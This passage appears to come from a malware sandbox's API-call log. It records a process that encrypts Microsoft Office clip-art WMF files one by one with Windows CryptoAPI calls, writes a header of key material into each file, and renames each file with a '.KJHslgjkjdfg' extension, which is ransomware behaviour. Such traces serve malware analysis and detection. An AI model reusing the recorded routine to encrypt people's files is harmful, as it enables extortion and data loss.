hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.732] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.732] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2458, lpOverlapped=0x0) returned 1 [0186.733] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2460, dwBufLen=0x2460 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2460) returned 1 [0186.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.733] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2460, lpOverlapped=0x0) returned 1 [0186.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.734] SetEndOfFile (hFile=0x130) returned 1 [0186.737] GetProcessHeap () returned 0x990000 [0186.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.737] GetProcessHeap () returned 0x990000 [0186.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.kjhslgjkjdfg")) returned 1 [0186.744] CloseHandle (hObject=0x130) returned 1 [0186.744] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0186.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.745] GetProcessHeap () returned 0x990000 [0186.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.745] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.746] GetProcessHeap () returned 0x990000 [0186.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.747] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.747] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.747] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.747] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.747] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.747] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.747] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.748] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.748] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfb8, lpOverlapped=0x0) returned 1 [0186.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfc0) returned 1 [0186.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.748] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfc0, lpOverlapped=0x0) returned 1 [0186.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.748] SetEndOfFile (hFile=0x130) returned 1 [0186.750] GetProcessHeap () returned 0x990000 [0186.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.757] GetProcessHeap () returned 0x990000 [0186.757] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.kjhslgjkjdfg")) returned 1 [0186.763] CloseHandle (hObject=0x130) returned 1 [0186.763] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0186.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.764] GetProcessHeap () returned 0x990000 [0186.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.764] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.782] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.782] GetProcessHeap () returned 0x990000 [0186.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.782] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.782] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.782] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.782] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.782] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.783] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.783] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x386c, lpOverlapped=0x0) returned 1 [0186.784] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3870, dwBufLen=0x3870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3870) returned 1 [0186.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.784] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3870, lpOverlapped=0x0) returned 1 [0186.784] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.784] SetEndOfFile (hFile=0x130) returned 1 [0186.787] GetProcessHeap () returned 0x990000 [0186.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.787] GetProcessHeap () returned 0x990000 [0186.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.kjhslgjkjdfg")) returned 1 [0186.788] CloseHandle (hObject=0x130) returned 1 [0186.788] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0186.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.788] GetProcessHeap () returned 0x990000 [0186.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.789] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.789] GetProcessHeap () returned 0x990000 [0186.789] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.789] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.789] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.791] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.791] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.791] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.792] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x600, lpOverlapped=0x0) returned 1 [0186.792] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600, dwBufLen=0x600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x600) returned 1 [0186.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.792] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x600, lpOverlapped=0x0) returned 1 [0186.792] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.792] SetEndOfFile (hFile=0x130) returned 1 [0186.795] GetProcessHeap () returned 0x990000 [0186.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.795] GetProcessHeap () returned 0x990000 [0186.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.kjhslgjkjdfg")) returned 1 [0186.796] CloseHandle (hObject=0x130) returned 1 [0186.796] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0186.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.796] GetProcessHeap () returned 0x990000 [0186.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.796] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.796] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0186.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.799] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.799] GetProcessHeap () returned 0x990000 [0186.799] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.799] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.799] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.799] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.799] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.799] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.800] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.800] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.800] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1264, lpOverlapped=0x0) returned 1 [0186.801] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270, dwBufLen=0x1270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270) returned 1 [0186.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.801] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1270, lpOverlapped=0x0) returned 1 [0186.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.801] SetEndOfFile (hFile=0x130) returned 1 [0186.804] GetProcessHeap () returned 0x990000 [0186.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.804] GetProcessHeap () returned 0x990000 [0186.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, 